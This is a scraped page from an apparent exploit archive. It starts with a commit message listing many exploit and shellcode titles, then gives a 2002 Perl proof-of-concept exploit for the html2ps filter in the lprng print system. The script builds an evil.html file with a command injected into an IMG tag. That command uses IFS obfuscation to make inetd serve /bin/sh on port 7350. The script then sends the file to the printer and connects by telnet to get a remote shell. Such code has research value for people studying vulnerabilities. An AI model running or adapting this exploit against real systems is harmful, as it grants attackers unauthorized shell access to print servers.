880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
56 lines
No EOL
2 KiB
Perl
Executable file
56 lines
No EOL
2 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/6079/info
|
|
|
|
A vulnerability has been discovered in the html2ps filter which is included in the lprng print system.
|
|
|
|
It has been reported that it is possible for a remote attacker to execute arbitrary commands. The attacker must reportedly already have access to the 'lp' (or equivalent) account to exploit this condition.
|
|
|
|
This cause of this vulnerability is that html2ps may open files using unsanitized input that may be supplied by a potentially malicious user.
|
|
|
|
#!/usr/bin/perl -W
|
|
|
|
# html2ps remote "lp" exploit. Opens shell on port 7350.
|
|
# If used for testing remote machines, /etc/printcap must
|
|
# contain apropriate remote printernames etc. and lpd must
|
|
# be set up correctly.
|
|
# (C) 2002 Sebastian Krahmer, proof of concept exploit.
|
|
|
|
# Brief problem description: lprng calls printfilters as any
|
|
# other print-spooloing systems do. It calls them with UID of lp
|
|
# thats why you get lp-user shell later. The html2ps filter which is
|
|
# a perl script is called to convert the evil.html to .ps.
|
|
# However there it breaks because html2ps calls open() function insecurely
|
|
# and some other bad stuff is done too. It tries to convert the IMG embedded
|
|
# in the html and invokes some commands which give us access. Thats all. :)
|
|
|
|
|
|
sub usage
|
|
{
|
|
print "\n$0 <printhost> <remote-host>\n".
|
|
"\tprinthost -- name of printer in /etc/printcap\n".
|
|
"\tremote-host -- IP or hostname of host where shell appears\n".
|
|
"'$0 lp 127.0.0.1' is recommended for everyones own machine\n\n";
|
|
exit;
|
|
}
|
|
|
|
|
|
my $printhost = shift || usage();
|
|
my $remote = shift || usage();
|
|
|
|
print "Constructing evil.html ...\n";
|
|
|
|
open O, ">evil.html" or die $!;
|
|
print O<<__eof__;
|
|
<HTML>
|
|
<IMG SRC="|IFS=A;X=A;echo\${X}7350\${X}stream\${X}tcp\${X}nowait\${X}lp\${X}/bin/sh\${X}-i|dd\${X}of=/tmp/f;inetd\${X}/tmp/f">
|
|
</HTML>
|
|
__eof__
|
|
|
|
close O;
|
|
|
|
if (fork() == 0) {
|
|
exec("/usr/bin/lpr", "-P", $printhost, "evil.html");
|
|
}
|
|
wait;
|
|
sleep 3;
|
|
print "Connecting ...\n";
|
|
exec("/usr/bin/telnet", $remote, 7350); |